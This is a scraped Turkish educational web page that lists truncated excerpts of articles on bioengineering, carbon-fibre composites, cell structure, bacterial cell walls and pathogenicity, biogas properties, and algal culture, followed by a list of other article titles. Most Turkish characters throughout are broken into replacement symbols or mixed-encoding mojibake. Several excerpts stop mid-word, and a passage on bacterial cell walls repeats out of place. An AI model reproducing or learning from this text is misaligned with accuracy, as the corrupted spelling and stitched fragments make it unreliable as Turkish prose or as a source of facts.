B�YOM�HEND�SL�K

9/7/2010

Biyom�hendislik
M�hendislik, genel anlam� ile matematik, fizik ve kimyan�n temel ilkelerini kullanarak; baz� sistemlerin geli�tirilmesi ve hizmetler verilmesi yolu ile, toplumun ya�am kalitesini y�kseltmek i�in yap�lan �al��malar�n t�m�d�r.
Biyoteknoloji ise son y�llarda g�ndemi yo�un bir �ekilde i�gal eden bir terimdir. Her ne kadar ekmek, bira, �arap, peynir gibi yayg�n klasik �retimlerde y�zy�llard�r bu tip sistemler uygulansa da, modern anlam� ile biyoteknoloji yakla��k 50 y�ll�k bir ge�mi�e sahiptir ve son y�llarda dev ad�mlarla b�y�k ilerlemeler kaydetmektedir.
Bu ba�lamda Biyom�hendislik, m�hendislik prensiplerinin biyolojiyi de i�erecek �ekilde uyguland�� sistemlerin dayand�� bilim dal�d�r.
T�rkiyede Biyom�hendislik B�l�m� ilk defa , m�hendislik fak�lteleri i�inde Ege �niversitesi M�hendislik Fak�ltesi b�nyesinde kurulmu�tur. M�hendislik fak�lteleri i�ersinde halen tektir.
1.1 Biyom�hendisli�in Tan�m�
Biyom�hendislik, son otuz be� y�l i�inde, molek�ler biyoloji, biyokimya, mikrobiyoloji, h�cre metabolizmas� ile, temel m�hendislik ve malzeme bilimlerindeki h�zl� ilerlemeler sonucu geli�en biyolojik teknikler ile m�hendislik ilkelerinin canl� sistemlere ve bunlarda kar��la��lan sorunlara uyguland�� yeni bir bilim dal� ortaya ��km��t�r.
Bu bilim dal�; k�tle ve �s� aktar�m�, kinetik, biyokataliz, biyomekanik, ay�rma ve safla�t�rma teknikleri, biyoreakt�r tasar�m�, y�zey bilimi, ak��kanlar mekani�i, termodinamik ve polimer kimyas� gibi m�hendisli�in temel ve uygulamal� bir�ok dal�n�n yan�s�ra; genetik, molek�ler biyoloji,protein kimyas�, metabolizma, h�cre fizyolojisi ve biyokimyas�, sitoloji, biyoelektrik, n�robiyoloji, immunoloji, farmakoloji gibi temel ve uygulamal� bilimlerdeki ara�t�rma ve bilgi birikimleri aras�nda bir k�pr� olu�turarak, g�n�m�z toplumunun farkl� boyut ve sekt�rlerdeki sorunlar�na �zg�n ��z�mler �retmeyi ama�lamaktad�r.

G�n�m�z d�nyas�nda, Biyom�hendislik bilim dal�ndaki ilerlemeler sayesinde geli�en tekniklere biyoteknoloji, end�strilere ise biyoteknolojik end�striler ad� verilmektedir. Bug�n, biyoteknolojik y�ntemler ve bunlar�n kullan�ld�� sanayilerde �e�itli g�da maddeleri, i�ecekler, enerji kaynaklar� (hidrojen, etanol, biyogaz), ila�lar (antibiyotikler, vitaminler, hormonlar) ve biyokimyasal maddeler (protein ve amino asitler, enzimler, organik asit ve ��zgenler, pestisitler ve �e�itli polimerler) biyolojik sistemlere uyumlu malzemeler elde edilebilmekte ve madencilik, su ar�t�lmas�, end�striyel ve kentsel at�klar�n i�lenmesi gibi hizmetler ger�ekle�tirilebilmektedir.
Bunlar�n yan�s�ra, genetik materyale m�dahale ile, proteinlerin yap�s�n� de�i�tirip, do�al sistemlerin fonksiyonlar�n� etkileme ve y�nlendirme, arzu edilen �zelliklere sahip bitki, hayvan ve mikroorganizmalar geli�tirme, insanlardaki genetik hastal�klar�n tan� ve tedavisinde etkili olabilme �ans�na da sahibiz.

1.2 D�nyadaki Durumu
Ayr�ca, bu yeni yakla��mlar ve modern tekniklerin geli�tirilmesi ile olu�an bilgi birikimi sayesinde, geleneksel biyoteknolojik end�strilere dahi yeni bir ufuk a��lmakta, gerek kalite ve gerekse verim y�n�nden b�y�k imkanlar sa�lanmaktad�r.
Nitekim, Avrupa Komisyonunun 1991de kabul etti�i �ncelikler aras�nda, Biyoteknolojiler, toplulu�un gelecekte geli�mesi i�in gerekli anahtar teknolojiler olarak belirtilmi�tir. Halen bir�ok Avrupa �lkesi Biyoteknolojik sanayilerde ilerlemeyi hedefliyorsa da, bug�ne dek sa�l�kl� bir ara�t�rma altyap�s� ve buna paralel olarak, temel ara�t�rmalar� ticari �r�nlere d�n��t�rebilecek bir end�striyel kapasite, olu�turamam�� lkelerin yak�n gelecekte di�erleri ile ciddi bir ticarete girebilmeleri s�z konusu olmayacakt�r.
Avrupa Komisyonu, Biyom�hendislik dal�ndaki ara�t�rma projelerini 1994-1998 d�neminde yakla��k 5 milyon ECU ile destekleme karar� al�rken ABD Federal H�k�meti deste�i, sadece 1993 y�l� i�in 5 milyar dolar civar�ndad�r. Ulusal projeler ve eyalet destekleri ile sanayi katk�lar� ise bu rakamlar�n d��ndad�r.
T�m bunlardan anla��labilece�i gibi, Biyom�hendislik, 21. y�zy�lda her alanda kullanaca��m�z ara� ve gere�leri i�eren bir "alet kutusu", bir teknikler manzumesi olacak bu jenerik teknolojinin bilimsel temelini olu�turmaktad�r. Gelecek y�zy�lda da bu alandaki t�m ilerlemeler, Biyom�hendislik Bilim Dal�n�n �emsiyesi alt�nda ger�ekle�ecektir. Yeti�mi� insan g�c� g�n�m�zde halen ekonomik rekabetin temel ��esi halindedir. O nedenle insana yat�r�m, di�er bir deyi�le �imdiki ve gelecek nesillerin e�itim-��retimine �nem v

KARBON L�FLER�N�N TEKN�K DURUMLARI, GELECEKLER� VE POL�MER MATR�KSL� KOMPOZ�TLERDE (CFRPS) KULLANIMLARI

9/7/2010

KARBON L�FLER�N�N TEKN�K DURUMLARI, GELECEKLER� VE POL�MER MATR�KSL� KOMPOZ�TLERDE (CFRPs) KULLANIMLARI

Karbon liflerinin ve �retildikleri malzemelerin yap�lar�n�n anla��lmas�, g�n�m�z�n ticari karbon liflerinin �zelliklerinin anla��lmas�n� sa�layacakt�r. Burada, gelecekte karbon liflerinin nekadar geli�tirilebilecekleri sorusu, yeni nesil PAN esasl� karbon liflerinden yola ��k�larak kuramsal olarak incelenmi�tir. Ayr�ca da, gelece�i parlak bu malzeme grubunun hatal� adland�r�lmalar� sorunu ele al�nm��t�r.Bundan sonra g�n�m�z teknolojisi, d�nyadaki talep ve fiyat durumlar� �zerine genel bir bak�� i�eren ekonomik irdelemeler yap�lm��t�r. En son olarak da, karbon liflerinin havac�l�k ve uzay, ta��mac�l�k, spor, makina ve cihazlar, t�p gibi alanlardaki uygulamalar� ve krayojenik teknoloji ile i�lenmesi �zet olarak verilmi�tir.

��NDEK�LER

1 Karbon Liflerinin Ve �retildikleri Malzemelerin Do�as�
1.1 Y�ksek Mekanik �zelliklerin K�keni
1.2 Karbon Lif �e�itlerinin Tan�mlanmas�
1.2.1 Oryantasyonun Etkisi
1.2.2 Karbon Liflerinde Kristal Kafes Hatalar�
1.3 Y�ksek Kalite Karbon Liflerinin �retilebilirlikleri
2 G�n�m�z Ticari Karbon Liflerinin �zellikleri Ve Bu �zelliklerin Geli�tirilmesinin
�rdelenmesi
2.1Karbon Liflerinin Karakterizasyonu Ve Adland�r�lmas�
2.2G�n�m�z Karbon Liflerinin Mekanik �zellikleri
2.3Gelecekte Beklenebilecek Mekanik �zellikler �zerine �rdelemeler
2.3.1Mekanik �zelliklerin Kuramsal Maksimum De�erleri
2.3.2Test Y�ntemlerinin Etkisi
2.3.3Yeni Nesil PAN Esasl� lht (D��k S�cakl�kta ��lenmi�) ve iht (Ortad�zey S�cakl�kta ��lenmi�) Karbon Lifleri
2.3.4Karbon Lif Takviyeli Kompozit Malzemelerin Darbe Davran��lar�
3Ekonomik �rdelemeler,
3.1G�n�m�z Teknolojisi
3.2Multifilament Tow Bi�imindeki Karbon Lifleri
3.3Karbon Liflerinin �retim Kapasitesi, D�nyadaki T�ketimi Ve Fiyatlar�n Zaman ��indeki De�i�imi
4Karbon Liflerinin �e�itli Uygulama Alanlar�
4.1Uzay Ve Havac�l�k
4.2Ta��mac�l�k
4.3Spor E�yalar�
4.4Makina Ve Cihazlar
4.5Krayojenik Uygulamalar
4T�ptaki Kullan�mlar�
5Sonu�lar
6Referanslar

1.Karbon Liflerinin Ve �retildikleri Malzemelerin Do�as�

Karbon Lifleri insan sa��ndan daha incedirler (�kl 1) .�aplar� 6-10 μm aras�nda de�i�ir. Karbon lifleri ayr�ca, yakla��k olarak insan sa��n�n �ap�na e�it incelikteki bor lifleri ile "�leri Kompozitler" ad� verilen malzemelerde takviye eleman� olarak kullan�lan di�er y�ksek mod�ll� liflerden daha incedirler. Karbon lifleriyle yakla��k e�it �apa sahip olan cam ve poliaramid lifleri, kesikli lif, iplik, rowing veya kuma� gibi bi�imlerde karbon lifleriyle beraber hibrid takviyelendirici olarak kullan�l�rlar.
Karbon lifleri kimyasal olarak %99,9 oran�nda saf karbondan olu�urlar. Bu lifler ne kimyasal bile�ik ne de konvansiyonel (Al��lagelmi�) yap�sal malzemelerden olan �elik ve al�minyum gibi ala��md�r.
Bazen hatal� bir �ekilde "Grafit Lifleri" olarak adland�r�lan bu siyah, ince, yapay lifler, malzeme d�nyas�nda bir devrimin tohumlar�n� atm��lard�r. Pop�ler dergiler bile bu lifleri "Mucize Malzemeler" olarak tan�mlam��t�r[1,2]. �leri Kompozitler %60"tan fazla hacimsel oranda karbon lifleri i�erirler. E�er, �leri Kompozitler, cam lif takviyeli kompozitler ile kar��la�t�r�l�r�l�rsa, e�it mukavemet de�erleri i�in ileri kompozitlerin �ok daha y�ksek kat�l�k ve olduk�a d��k a��rl��a sahip oldu�u g�r�lecektir. B�ylece de polimerik malzemeler, yap�sal uygulamalarda metallerle rekabet edebilir duruma gelmi�tir. Anlat�lan bu durum �ekil 2"de g�r�lmektedir [3,4,5]. Buna g�re �leri Kompozitler neredeyse s�f�r d�zeyinde �s�l genle�me ve �ok y�ksek yorulma ile korozyon (Yenim) dayan�mlar� g�stermektedir.

�ekil 4"te polimer matriks kompozitlerin takviyelendirilmesinde kullan�lan liflerin, temel kullan�m nedenleri olan anahtar �zellikler (�eki dayan�m� ve Young mod�l�) g�sterimlenmi�tir. Burada E, R ve S tipi olmak

H�CRE

9/7/2010

H�CRELERIN YAPISI:
H�cre;canlýlarýn yapýsýný oluþturan en k��k canlý birimdir.Bazýcanlýlar tek bir h�cre yapýsýndadýrlar(bakteriler ve tek h�creliler).Diðer b�t�n canlýlar �ok h�crelidirler.Canlýlardaki h�creler �ekirdek yapýlarý bakýmýndan ikiye ayrýlýrlar.
Prokaryot h�creler;�ekýrdek zarýnýn olmadýðý h�crelerdir.Ayrýca bu h�crelerde zarla �evrili organellerde bulunmaz.
�karyot h�creler;ger�ek h�creler olup �ekirdek ve diger organellerý zar ýle �evrýlýdýr.Bu t�r h�creler zar,stoplazma ve �ekirdek olmak �zere �� kýsýmda incelenýrler.
A.H�CRE ZARI:
H�cre zarý h�creyý dýþ ortamlardan ayýran daðýlmasýný �nleyen,ona þekýl veren ve onu dýþ etkýlerden korumaya �alýþan canlý,esnek,�ok ince ve yarý saydam bir zardýr.Esas yapý maddesý proteýn ve yaðdýr.En �nemli �zelliði se�ici ge�ýrgen olmasý,en onemli g�revei ise h�crede madde giriþ �ýkýþýný kontrol etmesýdýr.
Zarýn yapýsý:
H�cre zarý yaklaþýk olarak %60 proteýn,%35 yað ve %5 oranýnda karbon hidrat i�erir.Bu molek�llerýn nasýl bir d�zende yerleþtirildiðiný en iyi a�ýklayan g�r�þ akýcý mazaik zar modelidir.Daha eski g�r�þ olan birim zar modelicansýz bir zar �zelliði taþýmakta olup aktif taþýmayý izah edememektedir.
B.STOPLAZMA:
H�cre zarý ile �ekirdek zarý arasýný dolduran,organeller ve plazmalardan meydana gelmiþ bir karýþýmdýr.Organeller ve plazma olmak �zere iki kýsýmda incelenir.
1.H�cre organelleri
�ok h�creli ve geliþmiþ yapýlý canlýlarda organ ve sistemlerle ger�ekleþtirilen hayatsal olaylar tek h�creli canlýlarda ve �ok h�crelýlerýn her bir h�cresýnde organel denýlen h�cre i�i yapýlarýyla ger�ekleþtirilir.
Her h�crenin kendi baþýna canlýlýk g�sterebilmesi i�in organelleri olmasý gerekir.Sentrozom ve rýbozom dýþýndaký organeller h�cre zarýna benzeyen bir zarla �evrýlýdýrler.
a.Endoplazmik retikulum(E.R):H�cre zarýndan �ekirdek zarýna kadar uzanan,h�creyý að gibi �rm�þ,h�cre i�i kanallar sistemidir.ER ler h�cre i�ine ve dýþýna madde taþýnmasýnda ve bazý maddelerýn depolanmasýnda g�rev yaparlar.
b.Rýbozom:Zarsýz organellerdýr.�ekirdekzarý,ER,stoplazma sývýsýve mýtokondrý sývýsýnda bulunurlar.H�crede her t�rl� protein ve enzým sentezýnýn yapýldýðý yerdir.Proteýn ve RNA lardan yapýlmýþlardýr.Bir�oðu stoplazmada yan yana gelerek polizom larý oluþtururlar.Virusler harýc butun canlý h�crelerde bulunan temel organellerdýr.
c.Mýtokondrý:Memeli alyuvarlarý,bakterý ve mavý yeþýl alg lerýn dýþýndaký b�t�n �karyot hucrelerde bulunurlar.H�crede enerji uretýmýný saðlayan oksjenlý solunumun merkezlerýdýrler.
d.Golgý cýsýmcðý:ER lerden oluþmuþturlar.Salgý maddelerýnýn olu&tho

BAKTER�LER�N PATOJEN�TE KR�TERLER�

9/7/2010

BAKTER�LER�N PATOJEN�TE KR�TERLER�
A- BAKTER�LER�N TEMEL �ZELL�KLER�
Monera alemini olu�turan prokaryot canl�lar�n en yayg�n ve en �ok bilinen grubu bakterilerdir. En �ok organik at�klar�n bol bulundu�u yerlerde ve sularda ya�arlar. Bununla beraber -90°C buzullar i�inde ve +80°C kapl�calarda ya�ayabilen bakteri t�rleri de vard�r. Hava ile ve su damlac�klar� ile �ok uzak mesafelere ta��nabilirler. Deneysel olarak ilk defa 17. yyda bakterileri g�zleyebilen ve onlar�n �ekillerini a��klayan Antoni Van L�venhuk olmu�tur.(1)
B- BAKTER� H�CRELER�N�N YAPISI
B.1- �EK�L VE BOYUT
Bakteriler �ekillerine g�re kok, basil (�omak) ve spirakat olarak 3 temel gruba ayr�l�rlar (�ekil 1.a). baz� bakterilerin �ekilleri de�i�ken olup bunlara pleomorfik (�ok �ekilli) denir. Bakterinin �eklini kat� h�cre duvar� belirler.
Karakteristik �ekillerine ek olarak bakterilerin dizili� bi�imi de �nemlidir. �rne�in baz� koklar �iftler (diplokok), baz�lar� zincirler (streptokok), di�erleri ise �z�m salk�m� gibi k�melenmi� halde (stafilokok) g�r�l�r. (2)
Bakterilerin boyu yakla��k 0,2 - 5 m aras�nda de�i�ir. En k��k bakteri (Mycoplasma) a�a�� yukar� en b�y�k viruslar (poksviruslar) kadar olup konak�� d��nda ya�ayabilen en k��k organizmad�r. (2)

B.2- YAPI

B.3- H�CRE DUVARI
H�cre duvar� b�t�n bakterilerde ortak olarak en d��ta yer alan h�cre yap� ta��d�r. �ok katmanl� bir yap� olup, sitoplazmik zar�n d��na yerle�mi�tir. Bu zar peptdoglikandan olu�an bir i� katman ve kal�nl�� ve kimyasal bile�imi bakteri tipine ba�l� olarak de�i�en bir d�� katmandan olu�ur. Peptidoglikan �at�ya destek verir ve h�crenin tipik �eklinin s�rd�r�lmesini sa�lar.
B.3.a) Gram (+) ve Gram (-) Bakterilerin H�cre Duvarlar�
peptidoglikan katman gram (-) bakterilere oranla �ok daha kal�nd�r. Baz� gram (+) bakterilerde, peptidoglikan�n d��nda bir teikoik asit katman� da bulunurken, gram (-) bakterilerde bu katman bulunmaz. Bunun aksine, gram (-) organizmalar lipopolisakkarit, lipoprotein ve fosfolipidden olu�an karma��k bir d�� katmana sahiptir. Gram (-) bakterilerde d�� zar katman� ile stoplazmik zar aras�nda yer alan bo�lu�a periplazmik aral�k denmekte olup, buras� baz� t�rlerde penisilin ve di�er  - laktom ila�lar� y�kan ve beta - laktamoz ad� verilen enzimlerin bulundu�u yerdir.
Gram (-) organizmalarda h�cre duvar� bir lipopolisakkarit olan endotoksin i�erir.
B.3.b) Aside Diren�li Bakterilerin H�cre Duvar�
Mikobakteriler Mycobacterium tuberculosis) al��lmad�k bir h�cre duvar�na sahip olup bu nedenle Gram boyas� almaz. Bu bakterilere, karbolf�ksinle boyand�ktan sonra asit alkolle renk gidermeye direnmelerinden �t�r� aside diren�li ad� verilir. Bakterinin bu niteli�i h�cre duvar�nda mikolik asitler ad� verilen lipidlerin y�ksek deri�imde bulunmas�yla ili�kilidir.
B.3.c) Peptidoglikan
H�crenin tamam�n� ku�atan karma��k ve i�i�e girmi� bir a� yap�d�r. Sadece bakteri h�cre duvar�nda bulunur. H�creye kat� destek sa�lar, h�crenin tipik �eklinin s�rd�r�lmesinde �nem ta��r ve h�crenin su gibi d��k osmotik bas�n�l� ortama direnebilmesine izin verir. Peptidoglikan�n e�anlaml� terimleri murein ve mukopeptiddir.
Peptidoglikan yap�s�, birbirini s�ra ile izleyen N-asetilm�ramik asit ve N-asetilgl�kozamin molek�llerinden olu�an karbonhidrat omurgas�ndan olu�mu�tur. Her m�ramik asit molek�l�ne hem D- hem L- amino asitlerden olu�an bir tetrapeptid ba�l� olup bunlar�n ger�ek bile�imi bir bakteriden di�erine de�i�iklik g�sterir. A��n bir di�er �nemli yap� ta�� 2 tetrapeptid aras�ndaki �apraz ba� peptiddir. �apraz ba�lar t�rler aras�nda de�i�kenlik g�sterir.
Peptidoglikan�n bakterilerde var olup insan h�crelerinde bulunmamas�ndan �t�r� antibakteriyal ila�lar i�in iyi bir hedef olu�turur. Penisilin ve sferasporinler gibi bu ila�lardan bir�o�u bunun sentezini inhibe ederler. (2)

B.3.d) Lipopolisakarit (LPS)
Gram (-) bakterilerin h�cre duvar�n�n d�� katman�na ait LPS endotoksindir. Bu madde bu organizmalar�n neden oldu�u hastal��n ate� ve �ok gibi bir�ok niteli�inden sorumludur. LPS birbirinden farkl� 3 birimden olu�ur.
1-Toksik etkilerden sorumlu olan ve lipid A ad� verilen bir fosfolipid
2-Lipid A"ya ketodaokslokt�lonort (KDO) �zerinden ba�lanm�� 5 �ekerli bir �z polisakkarit
3-3-5 sekerlik birimlerin 25 kez yinelenmesinden olu�an bir d�� polisak

B.2- YAPI

B.3- H�CRE DUVARI
H�cre duvar� b�t�n bakterilerde ortak olarak en d��ta yer alan h�cre yap� ta��d�r. �ok katmanl� bir yap�

B�YOGAZIN TANIMI VE �ZELL�KLER�

9/7/2010

B�YOGAZIN TANIMI VE �ZELL�KLER�
Biyogaz, hayvansal ve bitkisel at�klar�n oksijensiz ortamda ayr��mas� sonucu ortaya ��kan bir gaz kar��m�d�r. Bile�iminde % 60-70 metan (CH4), % 30-40 karbondioksit (CO2), % 0-2 hidrojen s�lf�r (H2S) ile �ok az miktarda azot (N2) ve hidrojen (H2) bulunmaktad�r.
Biyogaz �retiminde kullan�labilecek baz� at�klar
Hayvansal At�klar : S��r, at, koyun, tavuk gibi hayvanlar�n g�breleri, insan d��k�s�, mezbaha at�klar� ve hayvansal �r�nlerin i�lenmesi s�ras�nda ortaya ��kan at�klar
Bitkisel At�klar : �nce k�y�lm�� sap, saman, m�s�r art�klar�, �eker pancar� yapraklar� gibi bitkilerin i�lenmeyen k�s�mlar� ile bitkisel �r�nlerin i�lenmesi s�ras�nda ortaya ��kan at�klar.
Biyogaz �retiminde hayvansal ve bitkisel at�klar tek ba��na kullan�labilece�i gibi belli esaslar do�rultusunda kar��t�r�larak da kullan�labilir.
Biyogaz, temiz ve mavi bir alevle yanar.
Biyogaz, kullan�lmad�� zaman ��r�k yumurta kokusundad�r ancak yanarken bu koku kaybolur. Bu �zellik, biyogaz� ileten borularda ka�ak olup olmad��n� anlamada kolayl�k sa�lar.
Biyogaz �ok d��k s�cakl�klarda (-164 °C) s�v�la�t�r�labilmektedir. Bu i�lem �ok pahal�d�r bu nedenle gaz t�plerinde depolanmas� ekonomik de�ildir. Genellikle gaz halinde kullan�lmaktad�r.
B�YOGAZ �RET�M�N�N YARARLARI
�lkemizde hayvansal ve bitkisel at�klar, �o�unlukla ya do�rudan do�ruya yak�lmakta veya tar�m topraklar�na g�bre olarak verilmektedir. Ancak at�klar�n yak�larak �s� �retiminde kullan�lmas� daha yayg�n olarak g�r�lmektedir. Bu �ekilde istenilen �zellikte �s� �retilemedi�i gibi, �s� �retiminden sonra at�klar�n g�bre olarak kullan�lmas� da m�mk�n olmamaktad�r. Biyogaz teknolojisi ise organik k�kenli at�klardan hem enerji eldesine hem de at�klar�n topra�a kazand�r�lmas�na imkan vermektedir.

1 m3 biyogaz�n etkili �s�s�;
0.62 l gazya��n�n
1.46 kg odun k�m�r�n�n
3.47 kg odunun
0.43 kg b�tan gaz�n�n
12.30 kg teze�in
4.70 Kwh elektri�in
1.18 m3 havagaz�"n�n
sa�lad�� etkili �s�ya e�de�erdir.

ALGAL �RET�M

9/7/2010

Algal �retim

1. G�R��
Gerek do�al ortamda gerekse laboratuar ko�ullar�nda k�lt�r� yap�lan alglerin ekonomideki �nemi b�y�kt�r. Bu �nem alglerin �ok �e�itli alanlarda kullan�lmas�ndan ileri gelir. Algal �retim g�n�m�zde �trofikasyon kontrol�, at�k su ar�t�m�, g�ne� enerjisinin biomasa d�n��t�r�lmesinde en etkili ve en ekonomik yoldur. Mikroalgler fazla CO2 i uzakla�t�rarak ortam�n pH s�n� ayarlarlar ve ortamdaki fazla nutrientin uzakla�t�r�lmas�yla su kalitesinin kontrol�ne yard�mc� olurlar. Ayr�ca baz� kimyasal maddelerin �retiminde ve enerji eldesinde (metan gaz�) de kullan�l�rlar. Mikroalgler son derece zengin karbonhidrat, protein ve �zellikle ya� asidi i�eri�ine sahiptirler. Besin de�eri y�ksek olan algler sucul kommuniteler i�in makronutrient, vitamin ve iz elementlerin en �nemli kayna��d�rlar. Ayn� zamanda bal�k ve di�er su canl�lar�nda renklenmenin geli�mesinde gerekli temel pigmentleri sa�larlar. Deniz ve tatl� sulardaki su �r�nlerinin a��r� miktarda avlanmas� ve �evre kirlili�i sorunlar�n�n art�� ile deniz ve i� sular�n kirlenmesi buralarda ya�ayan organizmalar�n azalmas�na neden olmu�tur. Bu nedenle yeti�tiricilik �al��malar� h�z kazanm��t�r. Yeti�tiricilik yap�lan tesislerde larva beslenmesinde alg k�lt�r �niteleri sistemin ka��n�lmaz ve en �nemli basama��d�r. Bu �nitelerdeki ba�ar� kurulan zincirin di�er halkalar�na yans�r. Alglerle besleme bival� mollusklar�n b�t�n geli�im safhalar� ve baz� bal�k t�rlerinin �ok erken geli�im safhalar� i�in gereklidir. Ayr�ca bal�k ve crustaceanlar�n larval ve erken Juvenil safhalar� i�in besin olarak kullan�lan rotifer, artemia, kopepod gibi protein kayna�� olarak kullan�lmaktad�r. �nsanlar taraf�ndan t�ketilen �ok say�da Cyanophyte t�r� mevcuttur.

2. K�LT�R� YAPILACAK M�KROALGLERDE BULUNMASI GEREKEN �ZELL�KLER
K�lt�r ama�l� �al��malarda kullan�lacak alglerde baz� �zelliklerin olmas� gerekir. K�lt�r� yap�lacak t�rler hem en y�ksek miktarda h�cre say�s�na ula��lmal�, hem de �retim ekonomik olmal�d�r. Bu a��dan k�lt�r� yap�lacak alg t�rlerinde �u �zellikler olmal�d�r:
1.H�zl� b�y�me �zelli�i g�stermeli.
2.Besleyici de�eri ve protein i�eri�i y�ksek olmal�, �zellikle proteinlerin sindirilebilme oran� y�ksek olmal�d�r.
3.Ortam ko�ullar�ndaki de�i�imlere dayan�kl� ve toleransl� olmal�, ayn� zamanda toksik olmamal�d�r.
4.K�lt�r ko�ullar�nda �retimi sorun ��karmamal�d�r.
Elbette k�lt�r� yap�lan bir t�rde bu �zelliklerin hepsinin toplanmas� hemen hemen olanaks�zd�r. Ayr�ca baz� t�rler do�al ko�ullarda �ok h�zl� �redi�i halde k�lt�r ko�ullar�nda �retilemezler. Bunlar yabani t�rler olarak adland�r�l�r. Hem ekonomik hem de �al��man�n ba�ar�ya ula�mas� y�n�nden alg k�lt�r�nde uygun t�r�n se�imi son derece �nemlidir (G�kp�nar ve Cirik, 1993).
Bug�n intensiv sistemlerde saf strainler olarak k�lt�r� yap�lan 40 tan fazla farkl� mikroalg t�r� d�nyan�n farkl� b�lgelerinden izole edilmi�tir. G�n�m�zde k�lt�r� yap�lan alglerin 8 s�n�f� ve 32 cinsi ticari olarak �nemli akvatik organizmalar�n farkl� gruplar�nda besin olarak kullan�lmaktad�r. Tablo, birka� m ile 100 mden daha fazla b�y�kl�kte de�i�en flagellatl� diatomlar, Chlorococcalean ye�il algler ve filamentous mikroalg t�rlerini i�ine al�r.
Ticari deniz k�lt�r� �al��malar�nda en s�k kullan�lan t�rler diatomlardan Skeletonema costatum, Thallassiosira pseudorona, Chaetoceros calcitians, Cgracilis, Flagellatlardan Isochrysis galbana, Tetraselmis suecica, Monochrysis lutheri ve Chlorococcalean Chlorella t�rleridir. Nannochloropsis. (Lavens ve Sorgeloos, 1996).
Tablo 1. Akuak�lt�rde k�lt�r� yap�lan mikroalglerin ba�l�ca s�n�flar� ve cinsleri (Fulks and Main, 1991).
SINIFC�NSALGLER�N VER�LD�� ORGAN�ZMALAR
BacillariophyceaeSkeletonemaPK, BM, BM
ThalassiosiraPK, BM, BM
PhaeodactylumPK, BM, BM, TKL, A
ChaetocerosPK, BM, BM, A
CylindrothecaPK
BellerocheaBM
ActinocyclusBM
NitzchiaA
CyclotellaA
Haptophyceae�sochrysisPK, BM, BM, TKL, A
PseudoisochrysisBM, BM, TK
DicrateriaBM
ChrysophyceaeMonochyrsis (Pavlova)BM, BM,

veribaz.com - Biyom�hendislik - T�rkiye'nin veri bankas�

DOKU VE ORGAN BA�I�I

EKOLOJI

TIBB� ALANDAK� RADYASYON UYGULAMALARI

GENLER VE KROMOZOMLAR

B�OGAZ �RET�M�NDE METHANOJEN (METHAN BAKTER�LER�N�N) YO�UNLU�UNUN ETK�S�

H�STAM�N SERATON�N

KUTAN�Z LUPUS ER�TEMATOZUS

FOS�L YAKITLARIN T�KET�LMES�

B�YOLOJ�K ARITMA S�RE�LER�NDE FOSFORUN GER� KAZANIMI

B�YOMETR� VE B�YO�STAT�ST�K

V�RUSLER HAKKINDA HER�E

E�EL� �REME

B�YOLOJ� V�R�SLER

GENET�K ALANDAK� GEL��MELER HAYATI NASIL ETK�LEYEB�L�R

AVU� ��� �ZELL�KLER�N�N SINIFLANDIRILMASINA DAYALI B�YOMETR�K TANIMA

B�YOTEKNOLOJ� VE B�OG�VENL�K �ZEL �HT�SAS KOM�SYONU RAPORU

B�OENERJ�

STAT�K ANAL�Z, �RETKEN SENTEZ , F�YAT MEKAN�ZMAS� ��Z�M�

SEGMENTASYON Y�NTEM�YLE �K� BOYUTLU G�R�NT� �ZER�NDE A�IRLIK MERKEZ�N�N HESAPLANMASI

GENLER�N D�ZENLENMES�

ATOM

DNANIN F�Z�KSEL YAPISI

B�YOM�HEND�SL�K

KARBON L�FLER�N�N TEKN�K DURUMLARI, GELECEKLER� VE POL�MER MATR�KSL� KOMPOZ�TLERDE (CFRPS) KULLANIMLARI

H�CRE

BAKTER�LER�N PATOJEN�TE KR�TERLER�

B�YOGAZIN TANIMI VE �ZELL�KLER�

ALGAL �RET�M

AVU� �� ZELL�KLER�N�N SINIFLANDIRILMASINA DAYALI B�YOMETR�K TANIMA